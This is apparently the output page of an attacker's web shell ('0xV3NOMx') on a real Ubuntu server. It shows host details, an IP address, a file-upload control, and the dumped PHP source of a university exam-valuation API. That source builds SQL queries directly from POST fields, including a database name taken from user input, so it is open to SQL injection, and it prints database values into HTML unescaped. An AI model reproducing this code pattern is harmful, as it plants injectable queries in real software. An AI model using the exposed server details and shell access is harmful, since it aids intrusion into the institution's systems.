0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.138.174.45


Current Path : /var/www/html/univadmin/
Upload File :
Current File : /var/www/html/univadmin/get_univdetailsapi.php

<?php

include("/var/www/config.php");

     $servername = SERVERNAME;
    $username   = USERNAME;
    $password  = PASSWORD;
$conn = new  mysqli($servername,$username,$password);
if(!$conn) 
{
    die("Connection failed: " . mysqli_connect_error());
}

$db = $_POST['univcode'];
$degree = $_POST['degree'];
$type = $_POST['type'];
$sem=$_POST['sem'];

// if($type!='colldisp')
	

if($type == 'colldisp'){
	$degree = $_POST['degree'];
	$Query2 = "select distinct fdeggrp from {$db}.masqp where ifnull(fdeggrp,'') <> '' and fdeggrp <> ''";
$result2 = mysqli_query($conn, $Query2);

if($result2 -> num_rows > 0){
    $i=0;
    while ($row3=mysqli_fetch_assoc($result2)){
        $arr[$i]['fdeggrp']=$row3['fdeggrp'];
        $i++;
    }
}

echo json_encode($arr);
return;
}

if($type != 'board')
	$board = $_POST['fboard'];

if($type == 'board')
{
	
	$query = "SELECT DISTINCT m.fboardcode, m.fboardname FROM {$db}.masboard m 
	INNER JOIN {$db}.masqp q ON q.fboard = m.fboardcode WHERE fdeggrp = '$degree'";
    
	$result = mysqli_query($conn,$query);

	if($result -> num_rows > 0){
    $i=0;
    while ($row=mysqli_fetch_assoc($result)){
        $arr[$i]['fboardcode']=$row['fboardcode'];
        $arr[$i]['fboardname']=$row['fboardname'];
        $i++;
    	}
	}
	echo json_encode($arr, $row);
	return;
}
else
{	
	$cnd = "and fexamno = '{$sem}'";
	if($sem == 'all')
	{
		$cnd = "";
	}
	$cnd2 = " and fboard = '{$board}'";

	if($board == 'all')
	{
		$cnd2 = "";
	}

	
	$Query = "select fexamno as fsem, fqpcode, fsubname, ifnull(fspresent,0) as fspresent, 
	ifnull(fapresent,0) as fapresent, ifnull(fcodecount,0) as fcodecount,
	ifnull(ftotpkt1,0) as ftotpkt1, ifnull(fvalpkt1,0) as fvalpkt1,
	ifnull(ftotpkt2,0) as ftotpkt2, ifnull(fvalpkt2,0) as fvalpkt2  
	from {$db}.masqp where  fdeggrp = '{$degree}' {$cnd2} {$cnd}";
	
	// var_dump($Query);
	// die();
	$result = mysqli_query($conn, $Query);
	$i = 1;
	$html = "<tr class='bg-green'>
		  <th width='4%'><center>Sl. No.</center></th>
		  <th width='3%'><center>Sem.</center></th>
		  <th width='5%'><center>QP <br> Code</center></th>
		  <th width='30%'><center>Subject Name</center></th>
		  <th width='5%'><center>Scripts <br> Recd.</center></th>
		  <th width='5%'><center>Scripts <br> Counted</center></th>
		  <th width='5%'><center>Scripts <br> Coded</center></th>";
		if($degree == 'PG')
		{	
			  $html .= "<th width='5%'><center>Coding <br> Pending</center></th>
			  <th width='5%'><center>1st Val. <br> Count</center></th>
			  <th width='5%'><center>1st Val. <br> Valued</center></th>
			  <th width='5%'><center>1st Val. <br> Pending</center></th>
			  <th width='5%'><center>2nd. Val. <br> Count</center></th>
			  <th width='5%'><center>2nd Val. <br> Valued</center></th>
			  <th width='5%'><center>2nd. Val. <br> Pending</center></th>";
		}else
		{
		  	$html .= "<th width='5%'><center>Coding <br> Pending</center></th>
			  <th width='5%'><center>Packets <br> Count</center></th>
			  <th width='5%'><center>Packets <br> Valued</center></th>
			  <th width='5%'><center>Valuation <br> Pending</center></th>";
		}
		
		$html .="</tr>";
	while($row = mysqli_fetch_assoc($result))
	{
		$codepend = $row['fapresent'] - $row['fcodecount'];
		$valpend1 = $row['ftotpkt1'] - $row['fvalpkt1'];
		$valpend2 = $row['ftotpkt2'] - $row['fvalpkt2'];
		if($codepend < 0)
			$codepend = 0;

		if($valpend1 < 0)
			$valpend1 = 0;

		if($valpend2 < 0)
			$valpend2 = 0;
			
		$html .= "<tr>
		  <td><center>{$i}</center></td>
		  <td><center>{$row['fsem']}</center></td>
		  <td><center>{$row['fqpcode']}</center></td>
		  <td>{$row['fsubname']}</td>
		  <td style='text-align:center'>".moneyFormatIndia($row['fspresent'])."</td>
		  <td style='text-align:center'>".moneyFormatIndia($row['fapresent'])."</td>
		  <td style='text-align:center'>".moneyFormatIndia($row['fcodecount'])."</td>
		  <td style='text-align:center'>".moneyFormatIndia($codepend)."</td>";

		if($degree == 'PG')
		{	 
		  $html .="<td style='text-align:center'>".moneyFormatIndia($row['ftotpkt1'])."</td>
		  <td style='text-align:center'>".moneyFormatIndia($row['fvalpkt1'])."</td>
		  <td style='text-align:center'>".moneyFormatIndia($valpend1)."</td>
		  <td style='text-align:center'>".moneyFormatIndia($row['ftotpkt2'])."</td>
		  <td style='text-align:center'>".moneyFormatIndia($row['fvalpkt2'])."</td>
		  <td style='text-align:center'>".moneyFormatIndia($valpend2)."</td>";
		}else
		{
			$html .="<td style='text-align:center'>".moneyFormatIndia($row['ftotpkt1'])."</td>
		  <td style='text-align:center'>".moneyFormatIndia($row['fvalpkt1'])."</td>
		  <td style='text-align:center'>".moneyFormatIndia($valpend1)."</td>";
		}
		$html .="</tr>";
		$i++;
	}

	echo $html;
	
}

function moneyFormatIndia($num) {
	    $explrestunits = "" ;
	    if(strlen($num)>3) {
	        $lastthree = substr($num, strlen($num)-3, strlen($num));
	        $restunits = substr($num, 0, strlen($num)-3); // extracts the last three digits
	        $restunits = (strlen($restunits)%2 == 1)?"0".$restunits:$restunits; // explodes the remaining digits in 2's formats, adds a zero in the beginning to maintain the 2's grouping.
	        $expunit = str_split($restunits, 2);
	        for($i=0; $i<sizeof($expunit); $i++) {
	            // creates each of the 2's group and adds a comma to the end
	            if($i==0) {
	                $explrestunits .= (int)$expunit[$i].","; // if is first value , convert into integer
	            } else {
	                $explrestunits .= $expunit[$i].",";
	            }
	        }
	        $thecash = $explrestunits.$lastthree;
	    } else {
	        $thecash = $num;
	    }
	    return $thecash; // writes the final format where $currency is the currency symbol.
	}

?>